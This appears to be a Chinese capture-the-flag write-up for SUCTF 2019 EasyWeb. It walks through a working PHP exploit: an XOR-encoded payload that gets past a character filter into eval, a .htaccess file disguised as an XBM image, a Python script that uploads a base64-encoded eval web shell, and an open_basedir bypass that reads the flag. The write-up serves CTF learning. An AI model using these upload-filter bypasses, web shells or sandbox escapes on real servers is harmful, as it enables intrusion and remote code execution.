1. 程式人生 > 其它 >[SUCTF 2019]EasyWeb

[SUCTF 2019]EasyWeb

[SUCTF 2019]EasyWeb

知識點:

  • 無數字字母shell

  • 利用.htaccess上傳檔案

  • 繞過open_basedir

  • 繞過exif_imagetype()函式

    也就是將檢查我們上傳的檔案,並返回一個常量,否則返回false,那我們要讓.htaccess檔案繞過它,就要針對它的檢測特性去構造資料,因為它最終要返回常量,那我們就要讓這個函式認為.htaccess為一個合法的影象型別

    其中常量包括:

    採用xbm格式,X Bit Map

    在這個檔案中高和寬都是有#在前面的,那麼我們即使把它放在.htaccess檔案中也不會影響.htaccess的實際執行效果,所以新的.htaccess

    檔案內容如下

    #define width 1337                          # Define the width wanted by the code (and say we are a legit xbitmap file lol)
    #define height 1337                         # Define the height
    
    AddType application/x-httpd-php .php16      # Say all file with extension .php16 will execute php
    
    php_value zend.multibyte 1                  # Active specific encoding (you will see why after :D)
    php_value zend.detect_unicode 1             # Detect if the file have unicode content
    php_value display_errors 1                  # Display php errors
    

解題:

原始碼:

 <?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

我們就需要通過eval呼叫get_the_flag函式,然後上傳馬兒檔案,

首先是不能有字母不能有數字,我們可以用指令碼:

<?php
$payload = '';

for($i=0;$i<strlen($argv[1]);$i++)
{
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);  //dechex(255) = ff
        if($k == $argv[1][$i])
            $payload .= '%'.dechex($j);
    }
}
echo $payload;

最後構成這樣的paylod:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

再把phpinfo改成get_the_flag即可

繞過如下:

我們看到get_the_flag函式,可以知道,第一次過濾了ph字串即不可以用php偽協議。第二次過濾了檔案中有<?的,又因為用是php7點多所以<script>不可。第三次判斷了檔案是否為圖片型別。

我們先上傳一個.htaccess考慮到要讓他上傳後被正常解析且還要符合圖片的格式,我們先到了htaccess中的#註釋還有把該行用\x00開頭,這樣配置檔案也會把該行作為無效行解析。這樣我們就可以上傳.htaccess檔案了。

解釋一下htaccess的配置資訊的意思

AddType application/x-httpd-php .test   ###將1.test以php的方式解析
php_value auto_append_file  "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.test"
##在1.test載入完畢後,再次包含base64解碼後的1.test,成功getshell,所以這也就是為什麼會出現兩次

上傳的1.test也需要進行繞過,可以使用base64編碼繞過,也可以是utf16

import requests
import base64
url="http://48526d4d-1118-40c3-895f-b7cd0eeb5b02.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file  "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test"    ##這裡需要替換為自己上傳的檔名

"""

shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_POST[cmd])?>") #aa為了滿足base64演算法湊足八個位元組

#first_upload ---- to upload .htaccess

files1={
	'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)

#second_upload ---- to upload .shell
#
files2={
	'file':('1.test',shell)
}
r1=requests.post(url,files=files2)
print (r1.text)

訪問http://48526d4d-1118-40c3-895f-b7cd0eeb5b02.node3.buuoj.cn/upload/tmp_a124eb0000450f51750619887472f40f/1.test即可,連線上螞蟻的劍,發現限制了目錄穿越,直接:

/upload/tmp_a124eb0000450f51750619887472f40f/1.test?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

即可